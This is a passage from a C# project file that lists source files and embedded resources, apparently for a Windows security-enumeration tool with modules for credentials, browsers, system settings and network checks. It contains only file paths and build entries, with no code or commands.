Include=\"3rdParty\\SQLite\\src\\fault_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\func_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\global_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\hash_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\Hash_h.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\hwtime_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\insert_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\journal_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\keywordhash_h.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\legacy_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\loadext_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\main_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\malloc_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\mem0_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\mem1_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\memjournal_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\mutex_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\mutex_h.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\mutex_noop_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\mutex_w32.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\notify_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\opcodes_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\opcodes_h.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\os_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\os_common_h.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\os_h.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\os_win_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\pager_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\pager_h.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\parse_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\parse_h.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\pcache1_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\pcache_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\pcache_h.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\pragma_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\prepare_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\printf_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\random_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\resolve_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\rowset_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\select_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\sqlite3ext_h.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\sqlite3_h.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\sqliteicu_h.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\sqliteInt_h.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\sqliteLimit_h.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\status_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\table_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\tokenize_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\trigger_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\update_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\utf_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\util_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\vacuum_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\vdbeapi_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\vdbeaux_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\vdbeblob_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\VdbeInt_h.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\vdbemem_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\vdbe_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\Vdbe_h.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\vtab_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\walker_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\where_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\_Custom.cs\" />\n    <Compile Include=\"3rdParty\\YamlSerializer\\EasyTypeConverter.cs\" />\n    <Compile Include=\"3rdParty\\YamlSerializer\\ObjectExtensions.cs\" />\n    <Compile Include=\"3rdParty\\YamlSerializer\\ObjectMemberAccessor.cs\" />\n    <Compile Include=\"3rdParty\\YamlSerializer\\Parser.cs\" />\n    <Compile Include=\"3rdParty\\YamlSerializer\\RehashableDictionary.cs\" />\n    <Compile Include=\"3rdParty\\YamlSerializer\\TypeUtils.cs\" />\n    <Compile Include=\"3rdParty\\YamlSerializer\\UriEncoding.cs\" />\n    <Compile Include=\"3rdParty\\YamlSerializer\\YamlAnchorDictionary.cs\" />\n    <Compile Include=\"3rdParty\\YamlSerializer\\YamlConstructor.cs\" />\n    <Compile Include=\"3rdParty\\YamlSerializer\\YamlDoubleQuoteEscaping.cs\" />\n    <Compile Include=\"3rdParty\\YamlSerializer\\YamlNode.cs\" />\n    <Compile Include=\"3rdParty\\YamlSerializer\\YamlParser.cs\" />\n    <Compile Include=\"3rdParty\\YamlSerializer\\YamlPresenter.cs\" />\n    <Compile Include=\"3rdParty\\YamlSerializer\\YamlRepresenter.cs\" />\n    <Compile Include=\"3rdParty\\YamlSerializer\\YamlSerializer.cs\" />\n    <Compile Include=\"3rdParty\\YamlSerializer\\YamlTagPrefixes.cs\" />\n    <Compile Include=\"3rdParty\\YamlSerializer\\YamlTagResolutionScheme.cs\" />\n    <Compile Include=\"3rdParty\\YamlSerializer\\YamlTagValidator.cs\" />\n    <Compile Include=\"Checks\\ApplicationsInfo.cs\" />\n    <Compile Include=\"Checks\\BrowserInfo.cs\" />\n    <Compile Include=\"Checks\\ActiveDirectoryInfo.cs\" />\n    <Compile Include=\"Checks\\CloudInfo.cs\" />\n    <Compile Include=\"Checks\\FileAnalysis.cs\" />\n    <Compile Include=\"Checks\\FilesInfo.cs\" />\n    <Compile Include=\"Checks\\Globals.cs\" />\n    <Compile Include=\"Checks\\ISystemCheck.cs\" />\n    <Compile Include=\"Checks\\EventsInfo.cs\" />\n    <Compile Include=\"Checks\\NetworkInfo.cs\" />\n    <Compile Include=\"Checks\\NetworkScanCheck.cs\" />\n    <Compile Include=\"Checks\\ProcessInfo.cs\" />\n    <Compile Include=\"Checks\\ServicesInfo.cs\" />\n    <Compile Include=\"Checks\\SoapClientInfo.cs\" />\n    <Compile Include=\"Checks\\SystemInfo.cs\" />\n    <Compile Include=\"Checks\\UserInfo.cs\" />\n    <Compile Include=\"Checks\\WindowsCreds.cs\" />\n    <Compile Include=\"Checks\\RegistryInfo.cs\" />\n    <Compile Include=\"Helpers\\AppLocker\\AppLockerHelper.cs\" />\n    <Compile Include=\"Helpers\\AppLocker\\AppLockerRules.cs\" />\n    <Compile Include=\"Helpers\\AppLocker\\IAppIdPolicyHandler.cs\" />\n    <Compile Include=\"Helpers\\AppLocker\\SharpAppLocker.cs\" />\n    <Compile Include=\"Helpers\\HandlesHelper.cs\" />\n    <Compile Include=\"Helpers\\ProgressBar.cs\" />\n    <Compile Include=\"Helpers\\CredentialManager\\Credential.cs\" />\n    <Compile Include=\"Helpers\\CredentialManager\\CredentialManager.cs\" />\n    <Compile Include=\"Helpers\\CredentialManager\\CredentialType.cs\" />\n    <Compile Include=\"Helpers\\CredentialManager\\NativeMethods.cs\" />\n    <Compile Include=\"Helpers\\CredentialManager\\PersistenceType.cs\" />\n    <Compile Include=\"Helpers\\CredentialManager\\SecureStringHelper.cs\" />\n    <Compile Include=\"Helpers\\CustomFileInfo.cs\" />\n    <Compile Include=\"Helpers\\Extensions\\EnumExtensions.cs\" />\n    <Compile Include=\"Helpers\\MemoryHelper.cs\" />\n    <Compile Include=\"Helpers\\PermissionsHelper.cs\" />\n    <Compile Include=\"Helpers\\Search\\LOLBAS.cs\" />\n    <Compile Include=\"Helpers\\Search\\Patterns.cs\" />\n    <Compile Include=\"Helpers\\YamlConfig\\YamlConfig.cs\" />\n    <Compile Include=\"Helpers\\YamlConfig\\YamlConfigHelper.cs\" />\n    <Compile Include=\"Info\\ApplicationInfo\\ApplicationInfoHelper.cs\" />\n    <Compile Include=\"Info\\ApplicationInfo\\AutoRuns.cs\" />\n    <Compile Include=\"Info\\ApplicationInfo\\DeviceDrivers.cs\" />\n    <Compile Include=\"Info\\ApplicationInfo\\SoapClientProxyAnalyzer.cs\" />\n    <Compile Include=\"Info\\ApplicationInfo\\InstalledApps.cs\" />\n    <Compile Include=\"Helpers\\Beaprint.cs\" />\n    <Compile Include=\"Info\\CloudInfo\\AWSInfo.cs\" />\n    <Compile Include=\"Info\\CloudInfo\\AzureInfo.cs\" />\n    <Compile Include=\"Info\\CloudInfo\\EndpointData.cs\" />\n    <Compile Include=\"Info\\CloudInfo\\AzureTokensInfo.cs\" />\n    <Compile Include=\"Info\\CloudInfo\\GPSInfo.cs\" />\n    <Compile Include=\"Info\\CloudInfo\\GCDSInfo.cs\" />\n    <Compile Include=\"Info\\CloudInfo\\GWorkspaceInfo.cs\" />\n    <Compile Include=\"Info\\CloudInfo\\GCPInfo.cs\" />\n    <Compile Include=\"Info\\CloudInfo\\CloudInfoBase.cs\" />\n    <Compile Include=\"Info\\EventsInfo\\Logon\\ExplicitLogonEventInfo.cs\" />\n    <Compile Include=\"Info\\EventsInfo\\Logon\\Logon.cs\" />\n    <Compile Include=\"Info\\EventsInfo\\Logon\\LogonEventInfo.cs\" />\n    <Compile Include=\"Info\\EventsInfo\\Logon\\LogonInfo.cs\" />\n    <Compile Include=\"Info\\EventsInfo\\PowerShell\\PowerShell.cs\" />\n    <Compile Include=\"Info\\EventsInfo\\PowerShell\\PowerShellEventInfo.cs\" />\n    <Compile Include=\"Info\\EventsInfo\\Common.cs\" />\n    <Compile Include=\"Info\\EventsInfo\\Power\\Power.cs\" />\n    <Compile Include=\"Info\\EventsInfo\\Power\\PoweredEventInfo.cs\" />\n    <Compile Include=\"Info\\EventsInfo\\ProcessCreation\\ProcessCreation.cs\" />\n    <Compile Include=\"Info\\EventsInfo\\ProcessCreation\\ProcessCreationEventInfo.cs\" />\n    <Compile Include=\"Info\\FilesInfo\\Certificates\\CertificateInfo.cs\" />\n    <Compile Include=\"Info\\FilesInfo\\Certificates\\Certificates.cs\" />\n    <Compile Include=\"Info\\FilesInfo\\McAfee\\McAfee.cs\" />\n    <Compile Include=\"Info\\FilesInfo\\McAfee\\McAfeeSiteInfo.cs\" />\n    <Compile Include=\"Info\\FilesInfo\\McAfee\\McAfeeSitelistInfo.cs\" />\n    <Compile Include=\"Info\\FilesInfo\\Office\\Office.cs\" />\n    <Compile Include=\"Info\\FilesInfo\\Office\\OfficeRecentFileInfo.cs\" />\n    <Compile Include=\"Info\\FilesInfo\\Office\\OneDrive\\CloudSyncProviderInfo.cs\" />\n    <Compile Include=\"Info\\FilesInfo\\Office\\OneDrive\\OneDriveSyncProviderInfo.cs\" />\n    <Compile Include=\"Info\\FilesInfo\\WSL\\WSLHelper.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\Enums\\IPVersion.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\Enums\\MibTcpState.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\Enums\\Protocol.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\Enums\\TcpTableClass.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\Enums\\UdpTableClass.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\HostnameResolution.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\InternetConnectivity.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\InternetSettings\\InternetSettings.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\InternetSettings\\InternetSettingsInfo.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\InternetSettings\\InternetSettingsKey.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\NetworkConnection.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\NetworkScanner\\NetPinger.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\NetworkScanner\\NetworkUtils.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\NetworkScanner\\NetworkScanner.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\NetworkScanner\\PortScanner.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\Structs\\MIB_TCP6ROW_OWNER_PID.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\Structs\\MIB_TCP6TABLE_OWNER_PID.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\Structs\\MIB_TCPROW_OWNER_PID.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\Structs\\MIB_TCPTABLE_OWNER_PID.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\Structs\\MIB_UDP6ROW_OWNER_PID.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\Structs\\MIB_UDP6TABLE_OWNER_PID.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\Structs\\MIB_UDPROW_OWNER_PID.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\Structs\\MIB_UDPTABLE_OWNER_PID.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\TcpConnectionInfo.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\UdpConnectionInfo.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\Win32Error.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\AuditPolicies\\AuditEntryInfo.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\AuditPolicies\\AuditPolicies.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\AuditPolicies\\AuditPolicyGPOInfo.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\AuditPolicies\\AuditType.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\CredentialGuard.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\DotNet\\DotNet.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\DotNet\\DotNetInfo.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\GroupPolicy\\GroupPolicy.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\GroupPolicy\\LocalGroupPolicyInfo.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\NamedPipes\\NamedPipeInfo.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\NamedPipes\\NamedPipeSecurityAnalyzer.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\NamedPipes\\NamedPipes.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\Ntlm\\Ntlm.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\Ntlm\\NtlmSettingsInfo.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\PowerShell\\PluginAccessInfo.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\PowerShell\\PowerShell.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\PowerShell\\PowerShellSessionSettingsInfo.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\Printers\\PrinterInfo.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\Printers\\Printers.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\SysMon\\SysMon.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\SysMon\\SysmonEventInfo.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\SysMon\\SysmonHashAlgorithm.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\SysMon\\SysmonInfo.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\SysMon\\SysmonOptions.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\WindowsVersionVulns.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\WindowsDefender\\AsrRule.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\WindowsDefender\\AsrSettings.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\WindowsDefender\\WindowsDefender.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\WindowsDefender\\WindowsDefenderSettings.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\WindowsDefender\\WindowsDefenderSettingsInfo.cs\" />\n    <Compile Include=\"Info\\UserInfo\\LogonSessions\\LogonSessions.cs\" />\n    <Compile Include=\"Info\\UserInfo\\LogonSessions\\LogonSessionsInfo.cs\" />\n    <Compile Include=\"Info\\UserInfo\\Tenant\\JoinType.cs\" />\n    <Compile Include=\"Info\\UserInfo\\Tenant\\Tenant.cs\" />\n    <Compile Include=\"Info\\UserInfo\\Tenant\\TenantInfo.cs\" />\n    <Compile Include=\"Info\\WindowsCreds\\AppCmd\\AppCmd.cs\" />\n    <Compile Include=\"Info\\WindowsCreds\\RDPClientSettings.cs\" />\n    <Compile Include=\"Info\\WindowsCreds\\RDPServerSettings.cs\" />\n    <Compile Include=\"Info\\WindowsCreds\\RDPSettingsInfo.cs\" />\n    <Compile Include=\"Info\\WindowsCreds\\RemoteDesktop.cs\" />\n    <Compile Include=\"InterestingFiles\\GPP.cs\" />\n    <Compile Include=\"InterestingFiles\\InterestingFiles.cs\" />\n    <Compile Include=\"InterestingFiles\\Unattended.cs\" />\n    <Compile Include=\"KnownFileCreds\\Browsers\\Brave\\Brave.cs\" />\n    <Compile Include=\"KnownFileCreds\\Browsers\\Browser.cs\" />\n    <Compile Include=\"KnownFileCreds\\Browsers\\BrowserBase.cs\" />\n    <Compile Include=\"KnownFileCreds\\Browsers\\Chrome\\Chrome.cs\" />\n    <Compile Include=\"KnownFileCreds\\Browsers\\ChromiumBase.cs\" />\n    <Compile Include=\"KnownFileCreds\\Browsers\\Models\\Login.cs\" />\n    <Compile Include=\"KnownFileCreds\\Browsers\\Decryptor\\GCDecryptor.cs\" />\n    <Compile Include=\"KnownFileCreds\\Browsers\\Decryptor\\LocalState.cs\" />\n    <Compile Include=\"KnownFileCreds\\Browsers\\Firefox\\FFDecryptor.cs\" />\n    <Compile Include=\"KnownFileCreds\\Browsers\\Firefox\\FFLogins.cs\" />\n    <Compile Include=\"KnownFileCreds\\Browsers\\Firefox\\Firefox.cs\" />\n    <Compile Include=\"KnownFileCreds\\Browsers\\Firefox\\LoginData.cs\" />\n    <Compile Include=\"KnownFileCreds\\Browsers\\IBrowser.cs\" />\n    <Compile Include=\"KnownFileCreds\\Browsers\\InternetExplorer.cs\" />\n    <Compile Include=\"Checks\\Checks.cs\" />\n    <Compile Include=\"KnownFileCreds\\Browsers\\Models\\CredentialModel.cs\" />\n    <Compile Include=\"KnownFileCreds\\Browsers\\Opera\\Opera.cs\" />\n    <Compile Include=\"KnownFileCreds\\Kerberos\\Enums.cs\" />\n    <Compile Include=\"KnownFileCreds\\Kerberos\\Helpers.cs\" />\n    <Compile Include=\"KnownFileCreds\\Kerberos\\Kerberos.cs\" />\n    <Compile Include=\"KnownFileCreds\\Kerberos\\Structs.cs\" />\n    <Compile Include=\"KnownFileCreds\\KnownFileCredsInfo.cs\" />\n    <Compile Include=\"KnownFileCreds\\Putty.cs\" />\n    <Compile Include=\"KnownFileCreds\\RemoteDesktop.cs\" />\n    <Compile Include=\"KnownFileCreds\\SecurityPackages\\NtlmHashInfo.cs\" />\n    <Compile Include=\"KnownFileCreds\\SecurityPackages\\SecBuffer.cs\" />\n    <Compile Include=\"KnownFileCreds\\SecurityPackages\\SecBufferDesc.cs\" />\n    <Compile Include=\"KnownFileCreds\\SecurityPackages\\SecurityPackages.cs\" />\n    <Compile Include=\"KnownFileCreds\\Slack\\Slack.cs\" />\n    <Compile Include=\"KnownFileCreds\\SuperPutty\\SuperPutty.cs\" />\n    <Compile Include=\"KnownFileCreds\\Vault\\Enums\\VAULT_ELEMENT_TYPE.cs\" />\n    <Compile Include=\"KnownFileCreds\\Vault\\Enums\\VAULT_SCHEMA_ELEMENT_ID.cs\" />\n    <Compile Include=\"KnownFileCreds\\Vault\\Structs\\VAULT_ITEM_ELEMENT.cs\" />\n    <Compile Include=\"KnownFileCreds\\Vault\\Structs\\VAULT_ITEM_WIN7.cs\" />\n    <Compile Include=\"KnownFileCreds\\Vault\\Structs\\VAULT_ITEM_WIN8.cs\" />\n    <Compile Include=\"KnownFileCreds\\Vault\\VaultCli.cs\" />\n    <Compile Include=\"Helpers\\MyUtils.cs\" />\n    <Compile Include=\"Helpers\\ObjectManagerHelper.cs\" />\n    <Compile Include=\"Info\\UserInfo\\SAM\\Enums.cs\" />\n    <Compile Include=\"Info\\UserInfo\\SAM\\SamServer.cs\" />\n    <Compile Include=\"Info\\UserInfo\\SAM\\Structs.cs\" />\n    <Compile Include=\"Info\\UserInfo\\SID2GroupNameHelper.cs\" />\n    <Compile Include=\"Info\\UserInfo\\Token\\Enums.cs\" />\n    <Compile Include=\"Info\\UserInfo\\Token\\Structs.cs\" />\n    <Compile Include=\"Info\\UserInfo\\Token\\Token.cs\" />\n    <Compile Include=\"Info\\UserInfo\\User.cs\" />\n    <Compile Include=\"Native\\Advapi32.cs\" />\n    <Compile Include=\"Native\\Classes\\SafeTokenHandle.cs\" />\n    <Compile Include=\"Native\\Classes\\UNICODE_STRING.cs\" />\n    <Compile Include=\"Native\\Enums\\AccessTypes.cs\" />\n    <Compile Include=\"Native\\Enums\\CredentialType.cs\" />\n    <Compile Include=\"Native\\Enums\\DS_NAME_FLAGS.cs\" />\n    <Compile Include=\"Native\\Enums\\DS_NAME_FORMAT.cs\" />\n    <Compile Include=\"Native\\Enums\\GPOLink.cs\" />\n    <Compile Include=\"Native\\Enums\\GPOOptions.cs\" />\n    <Compile Include=\"Native\\Enums\\NetJoinStatus.cs\" />\n    <Compile Include=\"Native\\Enums\\PrivilegeAttributes.cs\" />\n    <Compile Include=\"Native\\Enums\\SECURITY_IMPERSONATION_LEVEL.cs\" />\n    <Compile Include=\"Native\\Enums\\SECURITY_LOGON_TYPE.cs\" />\n    <Compile Include=\"Native\\Enums\\ServerTypes.cs\" />\n    <Compile Include=\"Native\\Enums\\SessionSecurity.cs\" />\n    <Compile Include=\"Native\\Enums\\SE_OBJECT_TYPE.cs\" />\n    <Compile Include=\"Native\\Enums\\SID_NAME_USE.cs\" />\n    <Compile Include=\"Native\\Enums\\TokenType.cs\" />\n    <Compile Include=\"Native\\Enums\\TOKEN_ELEVATION_TYPE.cs\" />\n    <Compile Include=\"Native\\Enums\\TOKEN_INFORMATION_CLASS.cs\" />\n    <Compile Include=\"Native\\Enums\\UserPrivType.cs\" />\n    <Compile Include=\"Native\\Enums\\WTS_INFO_CLASS.cs\" />\n    <Compile Include=\"Native\\Iphlpapi.cs\" />\n    <Compile Include=\"Native\\crypt32.cs\" />\n    <Compile Include=\"Native\\Ntdll.cs\" />\n    <Compile Include=\"Native\\Kernel32.cs\" />\n    <Compile Include=\"Native\\Netapi32.cs\" />\n    <Compile Include=\"Native\\Ntdsapi.cs\" />\n    <Compile Include=\"Native\\Psapi.cs\" />\n    <Compile Include=\"Native\\Samlib.cs\" />\n    <Compile Include=\"Native\\Secur32.cs\" />\n    <Compile Include=\"Native\\Structs\\DSREG_JOIN_INFO.cs\" />\n    <Compile Include=\"Native\\Structs\\DSREG_USER_INFO.cs\" />\n    <Compile Include=\"Native\\Structs\\LastInputInfo.cs\" />\n    <Compile Include=\"Native\\Structs\\LUID.cs\" />\n    <Compile Include=\"Native\\Structs\\LUID_AND_ATTRIBUTES.cs\" />\n    <Compile Include=\"Native\\Structs\\PRIVILEGE_SET.cs\" />\n    <Compile Include=\"Native\\Structs\\SID_AND_ATTRIBUTES.cs\" />\n    <Compile Include=\"Native\\Structs\\TOKEN_ELEVATION.cs\" />\n    <Compile Include=\"Native\\Structs\\TOKEN_MANDATORY_LABEL.cs\" />\n    <Compile Include=\"Native\\Structs\\TOKEN_PRIVILEGES.cs\" />\n    <Compile Include=\"Native\\Structs\\USER_INFO_3.cs\" />\n    <Compile Include=\"Native\\User32.cs\" />\n    <Compile Include=\"Native\\Vaultcli.cs\" />\n    <Compile Include=\"Native\\WlanApi.cs\" />\n    <Compile Include=\"Native\\Wtsapi32.cs\" />\n    <Compile Include=\"TaskScheduler\\AccessControlExtension.cs\" />\n    <Compile Include=\"TaskScheduler\\Action.cs\" />\n    <Compile Include=\"TaskScheduler\\ActionCollection.cs\" />\n    <Compile Include=\"TaskScheduler\\CultureSwitcher.cs\" />\n    <Compile Include=\"TaskScheduler\\EnumGlobalizer.cs\" />\n    <Compile Include=\"TaskScheduler\\EnumUtil.cs\" />\n    <Compile Include=\"TaskScheduler\\JetBrains.Annotations.cs\" />\n    <Compile Include=\"TaskScheduler\\NamedValueCollection.cs\" />\n    <Compile Include=\"TaskScheduler\\NotV1SupportedException.cs\" />\n    <Compile Include=\"TaskScheduler\\ReflectionHelper.cs\" />\n    <Compile Include=\"TaskScheduler\\Task.cs\" />\n    <Compile Include=\"TaskScheduler\\TaskCollection.cs\" />\n    <Compile Include=\"TaskScheduler\\TaskEditor\\Native\\InteropUtil.cs\" />\n    <Compile Include=\"TaskScheduler\\TaskEditor\\Native\\NetServerEnum.cs\" />\n    <Compile Include=\"TaskScheduler\\TaskEditor\\Native\\NTDSAPI.cs\" />\n    <Compile Include=\"TaskScheduler\\TaskEditor\\Native\\SYSTEMTIME.cs\" />\n    <Compile Include=\"TaskScheduler\\TaskEvent.cs\" />\n    <Compile Include=\"TaskScheduler\\TaskFolder.cs\" />\n    <Compile Include=\"TaskScheduler\\TaskFolderCollection.cs\" />\n    <Compile Include=\"TaskScheduler\\TaskHandlerInterfaces.cs\" />\n    <Compile Include=\"TaskScheduler\\TaskSecurity.cs\" />\n    <Compile Include=\"TaskScheduler\\TaskService.cs\" />\n    <Compile Include=\"TaskScheduler\\Trigger.cs\" />\n    <Compile Include=\"TaskScheduler\\TriggerCollection.cs\" />\n    <Compile Include=\"TaskScheduler\\User.cs\" />\n    <Compile Include=\"TaskScheduler\\V1\\TaskSchedulerV1Interop.cs\" />\n    <Compile Include=\"TaskScheduler\\V2\\TaskSchedulerV2Interop.cs\" />\n    <Compile Include=\"TaskScheduler\\Wildcard.cs\" />\n    <Compile Include=\"TaskScheduler\\WindowsImpersonatedIdentity.cs\" />\n    <Compile Include=\"TaskScheduler\\XmlSerializationHelper.cs\" />\n    <Compile Include=\"Wifi\\NativeWifiApi\\Enums.cs\" />\n    <Compile Include=\"Wifi\\NativeWifiApi\\Structs.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\Firewall.cs\" />\n    <Compile Include=\"Info\\NetworkInfo\\NetworkInfoHelper.cs\" />\n    <Compile Include=\"Info\\ProcessInfo\\DefensiveProcesses.cs\" />\n    <Compile Include=\"Info\\ProcessInfo\\InterestingProcesses.cs\" />\n    <Compile Include=\"Info\\ProcessInfo\\ProcessesInfo.cs\" />\n    <Compile Include=\"Program.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n    <Compile Include=\"Properties\\Resources.Designer.cs\">\n      <AutoGen>True</AutoGen>\n      <DesignTime>True</DesignTime>\n      <DependentUpon>Resources.resx</DependentUpon>\n    </Compile>\n    <Compile Include=\"Info\\ServicesInfo\\ServicesInfoHelper.cs\" />\n    <Compile Include=\"Info\\ServicesInfo\\OemSoftwareHelper.cs\" />\n    <Compile Include=\"Info\\SystemInfo\\SystemInfo.cs\" />\n    <Compile Include=\"Info\\UserInfo\\UserInfoHelper.cs\" />\n    <Compile Include=\"Helpers\\DomainHelper.cs\" />\n    <Compile Include=\"Helpers\\CheckRunner.cs\" />\n    <Compile Include=\"Helpers\\ReflectionHelper.cs\" />\n    <Compile Include=\"Helpers\\Registry\\RegistryHelper.cs\" />\n    <Compile Include=\"Helpers\\Registry\\RegistryAclScanner.cs\" />\n    <Compile Include=\"Helpers\\Search\\SearchHelper.cs\" />\n    <Compile Include=\"Wifi\\Wifi.cs\" />\n    <Compile Include=\"Wifi\\NativeWifiApi\\Interop.cs\" />\n    <Compile Include=\"Wifi\\NativeWifiApi\\WlanClient.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <EmbeddedResource Include=\"..\\..\\..\\build_lists\\regexes.yaml\">\n      <Link>regexes.yaml</Link>\n    </EmbeddedResource>\n    <EmbeddedResource Include=\"..\\..\\..\\build_lists\\sensitive_files.yaml\">\n      <Link>sensitive_files.yaml</Link>\n    </EmbeddedResource>\n    <EmbeddedResource Include=\"..\\..\\..\\build_lists\\windows_version_exploits.json\">\n      <Link>windows_version_exploits.json</Link>\n    </EmbeddedResource>\n    <None Include=\"App.config\" />\n    <None Include=\"packages.config\" />\n    <None Include=\"TaskScheduler\\V1\\TaskSchedulerV1Schema.xsd\">\n      <SubType>Designer</SubType>\n    </None>\n    <None Include=\"TaskScheduler\\V2\\TaskSchedulerV2Schema.xsd\">\n      <SubType>Designer</SubType>\n    </None>\n  </ItemGroup>\n  <ItemGroup>\n    <EmbeddedResource 